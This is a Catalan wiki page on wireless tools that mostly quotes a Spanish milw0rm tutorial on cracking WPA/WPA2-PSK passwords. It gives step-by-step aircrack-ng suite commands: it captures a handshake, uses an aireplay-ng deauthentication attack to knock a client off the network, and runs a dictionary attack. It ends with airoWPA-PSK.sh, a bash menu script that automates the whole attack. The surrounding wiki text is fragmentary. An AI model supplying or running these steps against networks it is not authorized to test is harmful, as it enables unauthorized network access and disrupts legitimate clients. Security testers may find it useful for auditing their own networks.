ath0		Atheros		madwifi-ng VAP (parent: wifi0)/usr/sbin/airmon-ng: 833: wlanconfig: not found
 (VAP destroyed)

Us dona el error wlanconfig not found, aleshores és que esteu treballant amb una targeta de xarxa atheros però no teniu el paquet madwifi-tools. Com podeu veure el paquet que proporciona la comanda wlanconfig és madwifi-tools:

$ dpkg -S wlanconfig
madwifi-tools: /sbin/wlanconfig
madwifi-tools: /usr/share/man/man8/wlanconfig.8.gz

Instal·leu doncs els paquet amb:

$ sudo apt-get install madwifi-tools


Notice: got a deauth/disassoc packet. Is the source MAC associated

wlandecrypter

--acacha 14:22, 25 abr 2010 (UTC) :

$ cd
$ mkdir wlandecrypter
$ cd wlandecrypter
$ wget http://www.wifiway.org/archivos/wlandecrypter-1.2.tar.gz

Es pot trobar per a descarregar a:

WPA

Extret de:

http://training.gnun.net/Get,ca7e09eacf1ae34bc819d495c5adfed9

Pendent de documentar (TODO):


Crack WPA/WPA2  

Use buttons above to get extra information


-[ INFORMACIÓN ]---------------------------------------------------------------------

Titulo: Cracking WPA/WPA2-PSK with wordlist Autor: ka0x Contacto: ka0x01[alt+64]gmail.com Fecha: 08/03/2009



-[ ÍNDICE ]---------------------------------------------------------------------

0x01: Introducción 0x02: ¿Qué es el handshake? 0x03: Capturando handshake 0x04: Conseguir clave con diccionario 0x05: airoWPA-PSK.sh 0x06: Fin



---[ 0x01: Introducción ]

En este pequeño texto se explicará como obtener la clave de una red inalámbrica con cifrado WPA/WP2 en la que se esté usando un sistema de clave compartida (pre-shared keys - PSK). Para todo esto necesitaremos capturar un handshake y después con un diccionario atacar al handshake para obtener la clave.

Imaginemos que en este caso tenemos la siguiente red inalambrica:

- ESSID: ap_labs - BSSID: 00:1B:02:93:AF:9C - CANAL: 1 - CLIENTE: 01:C2:B3:04:02:05


---[ 0x02: ¿Qué es el handshake? ]

Pues el handshake se genera cuando un cliente se asocia a la red inalámbrica, es como un saludo (apretón de manos) entre el punto de acceso y el cliente. Son los paquetes que se envían entre el AP y el cliente en el momento de la asociación. para que podamos empezar el ataque con diccionario en una red con cifrado WPA-PSK, necesitaremos haber capturado estos paquetes.



---[ 0x03: Capturando handshake ]

Bueno empecemos... Utilizamores la suite de aircrack-ng, si queremos los sources y demás podemos entrar a su web: http://www.aircrack-ng.org/doku.php#download

Si utilizamos debian, encontraremos el paquete en los repositorios, instalar:

  1. apt-get install aircrack-ng

Para poder capturar paquetes, tendremos que poner nuestro adaptador wireles en modo monitor:

  1. airmon-ng start <iface>

p.e: # airmon-ng start wlan0


Siempre se necesitará tener un cliente 'real' asociado en el AP. Entonces una vez para empezar a capturar paquetes, utilizaremos airodump-ng:

  1. airodump-ng --bssid 00:1B:02:93:AF:9C -c 1 -w redWPA wlan0

--bssid -> MAC del punto de acceso. -w redWPA -> guardará los datos obtenidos en el archivo "redWPA". -c -> Canal del punto de acesso wlan0 -> interfaz adaptador inalambrico.

Así capturaremos todo lo que pase por el punto de acceso con MAC: 00:1B:02:93:AF:9C Entonces vayamos a capturar el handshake...


Como habíamos dicho antes el handshake se genera en el momento que un cliente se asocia al AP. Entonces, cómo hacemos que se vuelva asociar el cliente al AP?

Facil, desautenticaremos al cliente del AP y esperamos a que se vuelva asociar, para este proceso usaremos el ataque 0 de aireplay-ng. Este ataque enviará al cliente paquetes de desautenticacion

Uso:

  1. aireplay-ng -0 5 -a <MAC_AP> -c <MAC_CLIENTE> <interfaz>

|-> Numero de desautenticaciones que se enviarán. Si ponemos un 0, enviará desautenticaciones hasta que lo paremos.

En este caso:

  1. aireplay-ng -0 15 -a 00:1B:02:93:AF:9C -c 01:C2:B3:04:02:05 wlan0

Cuando ejecutemos esto segun el numero de desautenticaciones nos aparecerá algo así: Sending DeAuth to station -- STMAC: [01:C2:B3:04:02:05]

En el momento que el cliente se desasocie y se vuelva a asociar al AP, nosotros con el airodump-ng capturaremos el handshake.

¿Cómo sabemos que ya lo hemos capturado?

Pues en la ventana donde tenemos corriendo el airodump-ng, arriba a la derecha, veremos algo así: CH 1 ] [ Elapsed: 14 mins ][ 2009-03-08 ][ WPA handshake: 00:1B:02:93:AF:9C

Una vez que nos aparezca eso, ya podemos cerrar todo, en el archivo redWPA-01.cap ya tendremos el dichoso handshake =)



---[ 0x04: Conseguir clave con diccionario ]


Una vez teniendo el handshake, ya podemos utilizar un diccionario de posibles claves para que aircrack-ng compruebe haber si alguna de las claves del diccionario coincide con la del AP.

¿Qué diccionario usar? pues el de john the ripper, alguno propio, hay muchos... aunque se supone que esto es para comprobar la seguridad de tu red wireless y ya te tendrás que saber de sobra tu clave.

La clave pre-compartida puede tener un tamaño de 8 a 63 caracteres.

Empecemos...

Si ejecutamos:

  1. aircrack-ng redWPA-01.cap

Podremos ver que tenemos un handshake:


Opening wpa-hand.cap Read 553 packets.

  #  BSSID              ESSID                     Encryption
  1  00:1B:02:93:AF:9C  ap_labs                WPA (1 handshake)  <------

Choosing first network as target.

Opening wpa-hand.cap Please specify a dictionary (option -w).


Quitting aircrack-ng...


Uso de aircrack-ng con diccionario:

  1. aircrack-ng -w <ruta_diccionario> <archivo_de_capturas>


Suponiendo que nuestro archivo de datos capturados donde se encuentra el handshake se llama redWPA-01.cap, lo ejecutaremos de la siguiente forma:


  1. aircrack-ng -w diccionario.lst redWPA-01.cap

Entonces aquí ya aircrack-ng se pondrá a comprobar las posibles claves del diccionario hasta obtenerla. Una vez obtenida, nos aparecerá lo siguiente:


                                Aircrack-ng 1.0 rc1


                  [00:00:00] 0 keys tested (0.00 k/s)


                          KEY FOUND! [ clave__ap ]


     Master Key     : 18 D4 E8 70 A0 B5 D2 26 4C 61 BA 85 5F 36 8F D9 
                      DA 56 2A D2 51 B6 01 B6 A9 E8 61 B3 CD 92 7D 09 
     Transcient Key : DA 5E 56 09 35 9E 2D 9F 35 B0 C5 9E A9 41 71 B5 
                      8A 8C B6 1B B5 A0 D2 C0 53 47 C6 05 CC 2C CA C0 
                      C7 41 04 B2 F5 7D 44 DF 71 C5 11 78 5D DE A1 D0 
                      F9 2E BE 54 22 46 82 24 35 91 7E 93 21 9D BF 78 
     EAPOL HMAC     : 6A 31 F7 C0 C8 A7 83 37 50 FD 44 C3 8C 7D 2B 26

Hay ya vemos que encontro la clave y que es 'clave__ap'. Como vemos el proceso de obtener una clave WPA/WPA2-PSK no es tan dificil siempre y cuando sepamos nuestra clave, ya que si no la sabríamos este proceso podría durar horas, dias e incluso semanas depende el diccionario que usemos.



---[ 0x05: airoWPA-PSH.sh ]

Para simplificar un poco este proceso de obtención de la clave, hice un pequeño script en bash sencillo que te puede servir si eres un poco vago :P

<-----------------airoWPA-PSK.sh--------------------->

  1. !/bin/bash
  1. airoWPA-PSK.sh v0.1
  2. written by ka0x <ka0x01[at]gmail.com>

if [ $UID != 0 ]; then echo "[!] NECESITAS EJECUTAR EL SCRIPT $0 CON PRIVILEJIOS DE SUPERUSUARIO" exit fi

comprueba_mac(){ if [ ! "${#1}" -eq "17" ]; then echo -e "\033[31mMac Incorrecta\n\033[0m" exit fi } interfaces() { echo -e "\n\033[31m[*] Seleccione la interfaz que va a utilizar: \033[0m\n" INTERFACES=$(iwconfig | grep ESSID | awk '{ print $1 }') select INTER in $INTERFACES; do break; done clear }

monitor(){ airmon-ng start $INTER clear menu }

handshake(){ clear read -p "[-] Introduzca la MAC del AP: " mac_ap comprueba_mac $mac_ap read -p "[-] Introduzca la MAC del Cliente: " mac_client comprueba_mac $mac_client read -p "[-] Introduzca el canal del AP: " mac_chanel read -p "[-] Nombre de archivo donde se guardaran los datos capturados: " datas xterm -hold -title "Obteniendo Handshake en $mac_ap" -geometry 96x60+0+0 -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $mac_ap -c $mac_chanel -w $datas $INTER && clear && menu }

desautenticacion(){ clear read -p "[-] Introduzca la MAC del AP: " mac_ap comprueba_mac $mac_ap read -p "[-] Introduzca la MAC del cliente asociado: " mac_cliente comprueba_mac $mac_cliente read -p "[-] Introduzca el numero de desautenticaciones: " num xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Desautenticando $mac_cliente del AP $mac_ap $num veces" -e aireplay-ng -0 $num -a $mac_ap -c $mac_cliente $INTER clear menu }

crack_dicc(){ clear read -p "[-] Introduzca la ruta del diccionario: " diccionario echo "[-] Seleccione el archivo de datos capturados:"

LS_DIR=$(ls *.cap) select DATA in $LS_DIR; do break; done

xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Obteniendo clave con diccionario: $diccionario" -hold -e aircrack-ng -w $diccionario $DATA menu }

menu(){ echo -e "\n[*] Opciones:\n" echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\033[0m" echo "1 - Activar Modo Monitor" echo "2 - Capturar handshake" echo "3 - Desautenticar cliente" echo "4 - Obtener clave con diccionario" echo "5 - Salir" echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\n\033[0m"

read -p "opcion> " OPCION

case $OPCION in "1") monitor;; "2") handshake;; "3") desautenticacion;; "4") crack_dicc;; "5") exit;; *) echo -e "\033[31m[!] OPCION NO VALIDA\n\033[0m" && menu;;

esac }

interfaces menu

  1. __EOF__

<------------------------------------------------>



---[ 0x06: Fin ]

Bueno pues eso es todo, los pasos son bastantes sencillos, cualquier duda pueden entrar a la web de aircrack-ng (http//www.aircrack-ng.org) donde podrán encontrar abundante documentación o mismamente enviándome un email.

Espero que se entienda.

Un saludo!

  1. ka0x

__EOF__

  1. milw0rm.com [2009-03-09]

Vegeu també

Enllaços externs